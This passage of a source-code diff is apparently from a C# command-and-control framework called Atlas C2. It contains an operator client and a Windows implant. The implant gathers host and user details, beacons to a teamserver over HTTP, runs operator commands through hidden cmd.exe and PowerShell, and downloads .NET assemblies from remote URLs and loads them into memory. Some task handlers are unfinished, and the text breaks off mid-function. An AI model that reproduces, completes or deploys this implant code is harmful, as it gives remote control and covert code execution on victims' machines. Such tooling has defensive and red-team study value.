class ViewListener : Models.Util
{
private string ListenerName { get; set; }
private JSON.Classes.ListenerData ListenerData { get; set; }
public override string UtilName => "ViewListener";
public override string Desc => "Return data of specified listener";
public override string UtilExecute(string[] opts)
{
try {
StringBuilder _out = new StringBuilder();
if (opts is null) { throw new AtlasException($"[*] Usage: ViewListener [ListenerName]\n"); }
ListenerName = opts[1];
var listener = SendGET($"{TeamServerAddr}/Listeners/{ListenerName}");
ListenerData = JsonConvert.DeserializeObject<JSON.Classes.ListenerData>(listener);
_out.AppendLine($"{"Name",-25} {"Port",-25}");
_out.AppendLine($"{"----",-25} {"----",-25}");
_out.AppendLine($"{ListenerData.Name,-25} {ListenerData.bindPort, -25}");
return _out.ToString();
} catch (AtlasException e) { return $"{e.Message}\n"; }
catch (System.Net.WebException) { return $"[-] Connection to teamserver could not be established, verify teamserver is active\n"; }
}
}
}

View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class AssemMethodQuery : Models.Task
{
public override string TaskName => "AssemMethodQuery";
public override string Desc => "Returns all methods belonging to the specified assem name";
public override List<object> OptList { get; } = new List<object> { assemName };
}
}

View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class AssemQuery : Models.Task
{
public override string TaskName => "AssemQuery";
public override string Desc => "Return all assem type and methods in the implant process";
public override List<object> OptList { get; } = new List<object> { };
}
}

View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class CMDShell : Models.Task
{
public override string TaskName => "CMDShell";
public override string Desc => "Executes a command in the context of cmd.exe";
public override List<object> OptList { get; } = new List<object> { command };
}
}

View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class ExecuteAssem : Models.Task
{
public override string TaskName => "ExecuteAssem";
public override string Desc => "Execute a specifed assem type";
public override List<object> OptList { get; } = new List<object> { assemType };
}
}

View File

@ -0,0 +1,14 @@
using System;
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class ExecuteAssemMethod : Models.Task
{
public override string TaskName => "ExecuteAssemMethod";
public override string Desc => "Executes specified method belonging to a loaded assem type";
public override List<Object> OptList { get; } = new List<object> { assemType, assemMethod };
}
}

View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class Load : Models.Task
{
public override string TaskName => "Load";
public override string Desc => "Load an assembly into implant process";
public override List<object> OptList { get; } = new List<object> { assemBytes };
}
}

View File

@ -0,0 +1,15 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils.TaskUtils
{
class PSLoad : Models.Task
{
public override string TaskName => "PSLoad";
public override string Desc => "Load a PowerShell file into the implant process";
public override List<object> OptList { get; } = new List<object> { psFile };
}
}

View File

@ -0,0 +1,13 @@
using System.Collections.Generic;
using static Client.Models.TaskOptions;
namespace Client.Utils
{
class PSShell : Models.Task
{
public override string TaskName => "PSShell";
public override string Desc => "Execute a PS command using the PS DLLs";
public override List<object> OptList { get; } = new List<object> { command, encode };
}
}

206
Client/Utils/Utils.cs Normal file
View File

@ -0,0 +1,206 @@
using System;
using System.Net;
using System.Threading;
using System.IO;
using System.Collections.Generic;
using System.Linq;
using System.Reflection;
using Newtonsoft.Json;
using Client.JSON;
using Client.Models;
using static System.Console;
using static Client.Models.Client;
namespace Client.Utils
{
static class UI
{
public static void Banner()
{
WriteLine(
@" _____ __ .__ _________ ________ " + "\n" +
@" / _ \ _/ |_ | | _____ ______ \_ ___ \ \_____ \ " + "\n" +
@" / /_\ \ \ __\| | \__ \ / ___/ / \ \/ / ____/ " + "\n" +
@"/ | \ | | | |__ / __ \_ \___ \ \ \____/ \ " + "\n" +
@"\____|__ / |__| |____/(____ //____ > \______ /\_______ \" + "\n" +
@" \/ \/ \/ \/ \/" + "\n" +
$"\tVer: {Ver} \n\tAuthor: Grimmie\n"
);
}
public static void Action(string input) {
try
{
String[] opts = null;
if (_utils.Count == 0) { Init.UtilInit(); }
Models.Util util = _utils.FirstOrDefault(u => u.UtilName.Equals(input.Split(' ')[0], StringComparison.InvariantCultureIgnoreCase));
if (input is "") { WriteLine(); return; }
if (util is null) { WriteLine($"[-] Util {input} is invalid"); return; }
if(input.Contains(' ')) { opts = input.Split(' '); }
string _out = util.UtilExecute(opts);
WriteLine(_out);
} catch (NotImplementedException) { WriteLine($"[-] Util {input} not yet implemented"); }
catch (Exception e) { WriteLine($"{e}"); }
}
public static void ViewOption(string option) { WriteLine($"{option}"); }
}
static class TaskOps
{
public static void VerifyFileExistence(string file){ if (!(File.Exists(file))) { throw new AtlasException($"[-] File does not exist"); } }
public static void VerifyURL(string file) {
Uri url;
bool URLStatus = Uri.TryCreate(file, UriKind.Absolute, out url) && (url.Scheme == Uri.UriSchemeHttp || url.Scheme == Uri.UriSchemeHttps);
if(!URLStatus) { throw new AtlasException($"[-] Invalid URL detected "); }
}
public static object GetPropertyValue(this object T, string PropName) {
return T.GetType().GetProperty(PropName) == null ? null : T.GetType().GetProperty(PropName).GetValue(T);
}
public static void SetPropertyValue(this object T, string PropName, string PropVal) {
T.GetType().GetProperty(PropName).SetValue(T, PropVal);
}
public static void SetPropertyValue(this object T, string PropName, byte[] PropVal){
T.GetType().GetProperty(PropName).SetValue(T, PropVal);
}
public static List<object> ReturnMethod(){
if (_opts.Count == 0) { Init.OptInit(); }
Task task = _opts.FirstOrDefault(u => u.TaskName.Equals(TaskName, StringComparison.InvariantCultureIgnoreCase));
if (task is null) { throw new AtlasException($"[-] A task must be selected to view task options\n"); }
return task.OptList;
}
public static void SmraatFetch(string fileAddr, int timeout, int retryCount) {
VerifyURL(fileAddr);
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
WebClient client = new WebClient();
int current_retry_count = retryCount;
WriteLine($"[*] Attempting to fetch {fileAddr}");
while (current_retry_count >= 0 && assemBytes == null)
{
try {
assemBytes = client.DownloadData(fileAddr);
if (Debug) { WriteLine($"[+] Fetched assem located at {fileAddr}"); }
}
catch (WebException)
{
if (current_retry_count == 0) {
throw new AtlasException($"[-] Failed to fetch {fileAddr} after {current_retry_count} attempts. Exiting...");
}
if (Debug) { WriteLine($"[-] Fetching {fileAddr} failed. Retrying in {timeout} seconds."); }
current_retry_count = current_retry_count - 1;
Thread.Sleep(timeout * 1000);
}
}
client.Dispose();
}
public static void SmraatFetch(string filePath) {
VerifyFileExistence(filePath);
WriteLine($"Reading {filePath} and writing to assemByte");
assemBytes = File.ReadAllBytes(filePath);
}
public static string ByteArrTob64Str(){
var assemStr = Convert.ToBase64String(assemBytes);
return assemStr;
}
}
public static class JSONOps {
public static string PackTaskArgs(){
var send = new Classes.ArgsData { Params = new List<Classes.TaskArgs> { } };
var options = TaskOps.ReturnMethod();
foreach (var opt in options)
{
send.Params.Add(new Classes.TaskArgs()
{
OptionName = opt.GetPropertyValue("Name").ToString(),
OptionValue = opt.GetPropertyValue("Value").ToString()
});
}
return JsonConvert.SerializeObject(send, new JsonSerializerSettings { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii });
}
public static string PackTaskData(string args = null){
var send = new Classes.TaskSend { Command = TaskName, Args = args };
if (!(assemBytes is null) && TaskName.ToLower() is "load") {
var assemStr = TaskOps.ByteArrTob64Str();
send = null;
send = new Classes.TaskSend { Command = TaskName, Args = "", File = assemStr};
}
return JsonConvert.SerializeObject(send, new JsonSerializerSettings { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii });
}
public static Classes.TaskSendOut ReturnTaskID(string taskresp) {
return JsonConvert.DeserializeObject<Classes.TaskSendOut>(taskresp);
}
public static Classes.TaskRecvOut ReturnTaskData(string taskOut) {
return JsonConvert.DeserializeObject<Classes.TaskRecvOut>(taskOut);
}
public static string PackStartListenerData(string name, int port)
{
var data = new Classes.StartListenerData { name = name, bindPort = port };
return JsonConvert.SerializeObject(data, new JsonSerializerSettings { StringEscapeHandling = StringEscapeHandling.EscapeNonAscii });
}
}
static class Init
{
public static void OptInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(Models.Task)))
{
Models.Task function = Activator.CreateInstance(type) as Models.Task;
_opts.Add(function);
}
}
}
public static void UtilInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(Models.Util)))
{
Models.Util function = Activator.CreateInstance(type) as Models.Util;
_utils.Add(function);
}
}
}
}
}

6
Implant/App.config Normal file
View File

@ -0,0 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<startup>
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8"/>
</startup>
</configuration>

96
Implant/Implant.csproj Normal file
View File

@ -0,0 +1,96 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
<ProjectGuid>{6DE5ED01-804C-49BF-8F70-DF032CC6C189}</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>Implant</RootNamespace>
<AssemblyName>Implant</AssemblyName>
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>
<FileAlignment>512</FileAlignment>
<Deterministic>true</Deterministic>
<TargetFrameworkProfile />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>bin\Debug\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<PlatformTarget>AnyCPU</PlatformTarget>
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Reference Include="Newtonsoft.Json, Version=13.0.0.0, Culture=neutral, PublicKeyToken=30ad4fe6b2a6aeed, processorArchitecture=MSIL">
<HintPath>..\packages\Newtonsoft.Json.13.0.1\lib\net45\Newtonsoft.Json.dll</HintPath>
</Reference>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, processorArchitecture=MSIL">
<SpecificVersion>False</SpecificVersion>
<HintPath>..\..\..\..\..\..\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll</HintPath>
</Reference>
<Reference Include="System.Runtime.Serialization" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="JSON\Classes.cs" />
<Compile Include="Models\Comms\Abstracts\Comms.cs" />
<Compile Include="Models\Comms\HTTPComms.cs" />
<Compile Include="Models\Implant\Abstracts\ImplantCommands.cs" />
<Compile Include="Models\Implant\Abstracts\ImplantOptions.cs" />
<Compile Include="Models\Implant\Data\ImplantTaskData.cs" />
<Compile Include="Models\Implant\Data\ImplantTaskOptions.cs" />
<Compile Include="Models\Implant\ImplantData.cs" />
<Compile Include="Models\Implant\ImplantTask.cs" />
<Compile Include="Models\Implant\ImplantTaskOut.cs" />
<Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Tasks\Execute\AssemMethodQuery.cs" />
<Compile Include="Tasks\Execute\AssemQuery.cs" />
<Compile Include="Tasks\Execute\Cd.cs" />
<Compile Include="Tasks\Execute\CMDShell.cs" />
<Compile Include="Tasks\Execute\ExecuteAssem.cs" />
<Compile Include="Tasks\Execute\ExecuteAssemMethod.cs" />
<Compile Include="Tasks\Execute\Functions\CMDShellFunctions.cs" />
<Compile Include="Tasks\Execute\Functions\LoadFunctions.cs" />
<Compile Include="Tasks\Execute\Functions\PSShellFunctions.cs" />
<Compile Include="Tasks\Execute\Load.cs" />
<Compile Include="Tasks\Execute\PSShell.cs" />
<Compile Include="Tasks\Options\AssemMethodQuery.cs" />
<Compile Include="Tasks\Options\AssemQuery.cs" />
<Compile Include="Tasks\Options\Cd.cs" />
<Compile Include="Tasks\Options\CMDShell.cs" />
<Compile Include="Tasks\Options\ExecuteAssem.cs" />
<Compile Include="Tasks\Options\ExecuteAssemMethod.cs" />
<Compile Include="Tasks\Options\Load.cs" />
<Compile Include="Tasks\Options\PSShell.cs" />
<Compile Include="Utils\Extensions\Extensions.cs" />
<Compile Include="Utils\ImplantDataUtils.cs" />
<Compile Include="Utils\ImplantOptionUtils.cs" />
<Compile Include="Utils\ImplantTaskUtils.cs" />
</ItemGroup>
<ItemGroup>
<None Include="App.config" />
<None Include="packages.config" />
</ItemGroup>
<ItemGroup />
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
</Project>

25
Implant/JSON/Classes.cs Normal file
View File

@ -0,0 +1,25 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace Implant.JSON
{
public class Classes
{
[Serializable]
public class TaskArgs
{
public string OptionName { get; set; }
public string OptionValue { get; set; }
}
[Serializable]
public class ArgsRecv
{
public List<TaskArgs> Params { get; set; }
}
}
}

View File

@ -0,0 +1,41 @@
using System.Collections.Concurrent;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace Implant.Models
{
public abstract class Comms
{
public abstract Task Start();
public abstract void Stop();
protected ConcurrentQueue<ImplantTask> TaskInbound = new ConcurrentQueue<ImplantTask>();
protected ConcurrentQueue<ImplantTaskOut> TaskOut = new ConcurrentQueue<ImplantTaskOut>();
protected ImplantData _implantData;
public virtual void ImplantInit(ImplantData implantData) { _implantData = implantData; }
protected IEnumerable<ImplantTaskOut> GetTaskOut() {
var taskOut = new List<ImplantTaskOut>();
while (TaskOut.TryDequeue(out var tasks)) { taskOut.Add(tasks); }
return taskOut;
}
public bool DataRecv(out IEnumerable<ImplantTask> tasks) {
if (TaskInbound.IsEmpty) { tasks = null; return false; }
var taskList = new List<ImplantTask>();
while(TaskInbound.TryDequeue(out var task)) { taskList.Add(task); }
tasks = taskList;
return true;
}
public void DataSend(ImplantTaskOut taskOut) { TaskOut.Enqueue(taskOut); }
}
}

View File

@ -0,0 +1,75 @@
using System;
using System.Linq;
using System.Net.Http;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using static Implant.Utils.Extensions;
namespace Implant.Models
{
public class HTTPComms : Comms
{
public string ConnAddr { get; set; }
public int ConnPort { get; set; }
public string Schema { get; set; } = "http";
private CancellationTokenSource _cancelToken;
private HttpClient _client;
public HTTPComms(string connAddr, int connPort) {
ConnAddr = connAddr;
ConnPort = connPort;
}
public override void ImplantInit(ImplantData implantData) {
base.ImplantInit(implantData);
_client = new HttpClient();
_client.BaseAddress = new Uri($"{Schema}://{ConnAddr}:{ConnPort}");
_client.DefaultRequestHeaders.Clear();
var encData = Convert.ToBase64String(_implantData.Serialize());
_client.DefaultRequestHeaders.Add("Authorization", $"Bearer {encData}");
}
public async Task PollImplant() {
var resp = await _client.GetByteArrayAsync("/");
HandleResp(resp);
}
public void HandleResp(byte[] resp) {
var tasks = resp.Deserialize<ImplantTask[]>();
if(!(tasks is null) && tasks.Any()) {
foreach(var task in tasks) { TaskInbound.Enqueue(task); }
}
}
private async Task PostData() {
var taskOut = GetTaskOut().Serialize();
var HTTPContent = new StringContent(Encoding.UTF8.GetString(taskOut), Encoding.UTF8, "application/json");
var resp = await _client.PostAsync("/", HTTPContent);
var respContent = await resp.Content.ReadAsByteArrayAsync();
HandleResp(respContent);
}
public override async Task Start() {
_cancelToken = new CancellationTokenSource();
while (!_cancelToken.IsCancellationRequested)
{
if (!TaskOut.IsEmpty){ await PostData(); }
else { await PollImplant(); }
// make this option customizable
await Task.Delay(1000);
}
}
public override void Stop(){ _cancelToken.Cancel(); }
}
}

View File

@ -0,0 +1,8 @@
namespace Implant.Models
{
public abstract class ImplantCommands
{
public abstract string Name { get; }
public abstract string Execute(ImplantTask task);
}
}

View File

@ -0,0 +1,11 @@
using System;
using System.Collections.Generic;
namespace Implant.Models
{
public abstract class ImplantOptions
{
public abstract string TaskName { get; }
public abstract List<Object> Data { get; }
}
}

View File

@ -0,0 +1,9 @@
using System.Collections.Generic;
namespace Implant.Models
{
public class ImplantTaskData
{
public static readonly List<ImplantOptions> _opts = new List<ImplantOptions>();
}
}

View File

@ -0,0 +1,42 @@
namespace Implant.Models
{
public class ImplantTaskOptions
{
public static object command = new Command();
public static object path = new Path();
public static object assemPath = new AssemPath();
public static object assemType = new AssemType();
public static object assemMethod = new AssemMethod();
public class Command
{
public string Name { get; set; } = "command";
public string Value { get; set; } = "";
}
public class Path
{
public string Name { get; set; } = "path";
public string Value { get; set; } = "";
}
public class AssemPath
{
public string Name { get; set; } = "assemPath";
public string Value { get; set; } = "";
}
public class AssemType
{
public string Name { get; set; } = "assemType";
public string Value { get; set; } = "";
}
public class AssemMethod
{
public string Name { get; set; } = "assemMethod";
public string Value { get; set; } = "";
}
}
}

View File

@ -0,0 +1,14 @@
namespace Implant.Models
{
public class ImplantData
{
public string ID { get; set; }
public string HostName { get; set; }
public string User { get; set; }
public string ProcName { get; set; }
public int ProcID { get; set; }
public string Integrity { get; set; }
public string Arch { get; set; }
public string IPAddr { get; set; }
}
}

View File

@ -0,0 +1,20 @@
using System.Runtime.Serialization;
namespace Implant.Models
{
[DataContract]
public class ImplantTask
{
[DataMember(Name = "id")]
public string Id { get; set; }
[DataMember(Name = "command")]
public string Command { get; set; }
[DataMember(Name = "args")]
public string Args { get; set; }
[DataMember(Name = "file")]
public string File { get; set; }
}
}

View File

@ -0,0 +1,8 @@
namespace Implant.Models
{
public class ImplantTaskOut
{
public string Id { get; set; }
public string TaskOut { get; set; }
}
}

87
Implant/Program.cs Normal file
View File

@ -0,0 +1,87 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Reflection;
using System.Threading;
using Implant.Models;
using Implant.Utils;
namespace Implant
{
class Program
{
private static ImplantData _implantData;
private static Comms _comms;
private static CancellationTokenSource _cancelToken;
private static List<ImplantCommands> _commands = new List<ImplantCommands>();
//put into utils
public static void GenImplantData(){
var proc = Process.GetCurrentProcess();
_implantData = new ImplantData {
// get DNS hostname
ID = ImplantDataUtils.GenImplantName(), HostName = Environment.MachineName,
User = Environment.UserName, Integrity = ImplantDataUtils.ReturnIntegrity(),
Arch = ImplantDataUtils.ReturnArch(),
ProcID = proc.Id, ProcName = proc.ProcessName,
IPAddr = ImplantDataUtils.GetHostIP()
};
proc.Dispose();
}
public static void SendTaskOut(string _id, string _out) {
var taskOut = new ImplantTaskOut { Id = _id, TaskOut = _out };
_comms.DataSend(taskOut);
}
public static void HandleTask(ImplantTask task) {
var command = _commands.FirstOrDefault(cmd => cmd.Name.Equals(task.Command, StringComparison.InvariantCultureIgnoreCase));
if (command is null) { return; }
var _out = command.Execute(task);
SendTaskOut(task.Id, _out);
}
public static void HandleTasks(IEnumerable<ImplantTask> tasks) {
foreach (var task in tasks) { HandleTask(task); }
}
public static void ImplantCommandsInit()
{
foreach (Type type in Assembly.GetExecutingAssembly().GetTypes())
{
if (type.IsSubclassOf(typeof(ImplantCommands)))
{
ImplantCommands cmd = Activator.CreateInstance(type) as ImplantCommands;
_commands.Add(cmd);
}
}
}
public void Stop() { _cancelToken.Cancel(); }
static void Main(string[] args) {
Thread.Sleep(10000);
GenImplantData();
ImplantCommandsInit();
_comms = new HTTPComms("localhost", 8080);
_comms.ImplantInit(_implantData);
_comms.Start();
_cancelToken = new CancellationTokenSource();
while (!_cancelToken.IsCancellationRequested) {
if (_comms.DataRecv(out var tasks)) { HandleTasks(tasks); }
}
}
}
}

View File

@ -0,0 +1,36 @@
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("Implant")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("Implant")]
[assembly: AssemblyCopyright("Copyright © 2021")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("6de5ed01-804c-49bf-8f70-df032cc6c189")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]

View File

@ -0,0 +1,35 @@
using Implant.Models;
using Implant.Utils;
using System.Text;
namespace Implant.Tasks.Execute
{
class AssemMethodQuery : ImplantCommands
{
private string assemName { get; set; }
public override string Name => "AssemMethodQuery";
public override string Execute(ImplantTask task)
{
StringBuilder _out = new StringBuilder();
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "assemname")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemName = _params.OptionValue;
}
}
}
_out.AppendLine(LoadFunctions.returnAssemMethods(assemName));
return _out.ToString();
}
}
}

View File

@ -0,0 +1,19 @@
using System.Text;
using Implant.Models;
namespace Implant.Tasks.Execute
{
class AssemQuery : ImplantCommands
{
public override string Name => "AssemQuery";
public override string Execute(ImplantTask task)
{
StringBuilder _out = new StringBuilder();
_out.AppendLine(LoadFunctions.GetAssems());
return _out.ToString();
}
}
}

View File

@ -0,0 +1,32 @@
 using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class CMDShell : ImplantCommands
{
private string Command { get; set; }
private string Args { get; set; }
public override string Name => "CMDShell";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
Args = task.Args.Replace("\\", "");
var args = ImplantOptionUtils.ParseArgs(Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "command")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
Command = _params.OptionValue;
}
}
}
var cmd = CMDShellFunctions.CreateInstance();
return CMDShellFunctions.Execute(cmd, Command).Trim('\n');
} }
}

View File

@ -0,0 +1,37 @@

using Newtonsoft.Json;
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class Cd : ImplantCommands
{
private string path { get; set; }
public override string Name => "Cd";
public override string Execute(ImplantTask task)
{
// pass args as string and convert to array here. i.e "cd /idk/" <- take [1] and set to path,
// same for basic utils like ls, mkdir, rmdir, pwd, etc.
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
foreach (var opt in opts)
{
foreach(var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "path")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())){
path = _params.OptionValue;
}
}
}
return path;
}
}
}

View File

@ -0,0 +1,30 @@
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class ExecuteAssem : ImplantCommands
{
private string assemType { get; set; }
public override string Name => "ExecuteAssem";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "assemtype")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower()))
{
assemType = _params.OptionValue;
}
}
}
return assemType;
} }
}

View File

@ -0,0 +1,36 @@
using Implant.Models;
using Implant.Utils;
namespace Implant.Tasks.Execute
{
class ExecuteAssemMethod : ImplantCommands
{
private string assemType { get; set; }
private string assemMethod { get; set; }
public override string Name => "ExecuteAssemMethod";
public override string Execute(ImplantTask task)
{
var opts = ImplantOptionUtils.ReturnMethod(task);
var args = ImplantOptionUtils.ParseArgs(task.Args);
foreach (var opt in opts)
{
foreach (var _params in args.Params)
{
if ((_params.OptionName.ToLower() is "assemtype")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemType = _params.OptionValue;
}
if ((_params.OptionName.ToLower() is "assemmethod")
&& (_params.OptionName.ToLower() == opt.GetPropertyValue("Name").ToString().ToLower())) {
assemMethod = _params.OptionValue;
}
}
}
return assemType;
}
}
}

View File

@ -0,0 +1,39 @@
using System;
using System.Diagnostics;
using System.Text;
namespace Implant.Tasks.Execute
{
class CMDShellFunctions
{
public static Process CreateInstance()
{
Process CmdProc = new Process();
CmdProc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
CmdProc.StartInfo.FileName = "cmd.exe";
CmdProc.StartInfo.UseShellExecute = false;
CmdProc.StartInfo.RedirectStandardOutput = true;
CmdProc.StartInfo.RedirectStandardError = true;
CmdProc.StartInfo.RedirectStandardInput = true;
CmdProc.StartInfo.CreateNoWindow = true;
return CmdProc;
}
// send cmd to execute to obj generated from CreateInstance
public static String Execute(Process proc, string cmd)
{
proc.StartInfo.Arguments = $"/C {cmd}";
StringBuilder _out = new StringBuilder();
proc.Start();
_out.AppendLine(proc.StandardOutput.ReadToEnd());
_out.AppendLine(proc.StandardError.ReadToEnd());
proc.WaitForExit();
proc.Dispose();
return _out.ToString().Trim('\n');
}
}
}

View File

@ -0,0 +1,134 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Net;
using System.Reflection;
using System.Text;
using System.Threading;
using static System.Console;
namespace Implant.Tasks.Execute
{
class LoadFunctions
{
public static bool Debug { get; set; } = false;
// would be cool if these could be called from a yaml or something
// load assems into running process for expansion of implant capability
// create task to list loaded assems(see utils ) and their methods for operator viewing and allow operator to pass assem + method into
// task to execute given method from assem
public static string ExecuteAssemMethod(Assembly assem, string assemType, string assemMethod){
var _out = assem.GetType(assemType).GetMethod(assemMethod).Invoke(null, null);
return _out.ToString();
}
public static Assembly LoadAssem(string assemPath) {
var assem = Assembly.LoadFrom(assemPath);
return assem;
}
public static Assembly LoadAssem(byte[] assemBytes) {
var assem = Assembly.Load(assemBytes);
return assem;
}
public static void LoadAssemAndExecute(string assemPath)
{
var assem = LoadAssem(assemPath);
object[] paramz = new String[] { null };
assem.EntryPoint.Invoke(null, paramz);
}
// load an assem into current appdomain
public static string BaseLoaderLocal(string assemPath){
StringBuilder _out = new StringBuilder();
var assem = LoadAssem(assemPath);
_out.Append(ExecuteAssemMethod(assem, "", ""));
if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); }
return _out.ToString();
}
// attempt to load assem into mem and retry if fails
public static byte[] SmraaterLoader(string assemPath, int retry_count, int timeout)
{
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;
WebClient client = new WebClient();
byte[] assembytes = null;
int current_retry_count = retry_count;
while (current_retry_count >= 0 && assembytes == null)
{
try
{
assembytes = client.DownloadData(assemPath);
if (Debug) { WriteLine($"[+] Fetched assem located at {assemPath}"); }
}
catch (WebException)
{
if (current_retry_count == 0) { throw new ArgumentException($"[-] Failed to fetch {assemPath} after {current_retry_count} attempts. Exiting..."); }
if (Debug) { WriteLine($"[-] Fetching {assemPath} failed. Retrying in {timeout} seconds."); }
current_retry_count = current_retry_count - 1;
Thread.Sleep(timeout * 1000);
}
}
return assembytes;
/*
var assem = Assembly.Load(assembytes);
object[] paramz = new String[] { null };
assem.EntryPoint.Invoke(null, paramz);
*/
if (Debug) { WriteLine($"[+] Successfully loaded assem located at {assemPath}"); }
}
// these are tasks, move them over when working on load task
public static string returnAssemMethods(string assemName)
{
StringBuilder _out = new StringBuilder();
var domain = AppDomain.CurrentDomain;
_out.AppendLine($"[*] Current AppDomain: {domain}");
_out.AppendLine($"[*] assemName: {assemName}");
var strLenth = _out.Length;
foreach (Assembly assem in domain.GetAssemblies())
{
if (assemName == assem.FullName.ToString().Split(',')[0])
{
foreach (var _class in assem.GetTypes())
{
_out.AppendLine($"\t {_class}");
foreach (var method in _class.GetMethods(BindingFlags.Public | BindingFlags.Static)) { _out.AppendLine($"\t\t {method}"); }
}
}
}
if(_out.Length > strLenth) { _out.AppendLine($"[-] Assem object {assemName} could not be found in appdomain {domain}"); }
return _out.ToString();
}
public static string GetAssems() {
StringBuilder _out = new StringBuilder();
var domain = AppDomain.CurrentDomain;
_out.AppendLine($"[*] Current AppDomain:\t{domain.FriendlyName}");
_out.AppendLine($"[*] Loaded modules:");
foreach (Assembly assem in domain.GetAssemblies()) { _out.AppendLine($"{assem.FullName}"); }
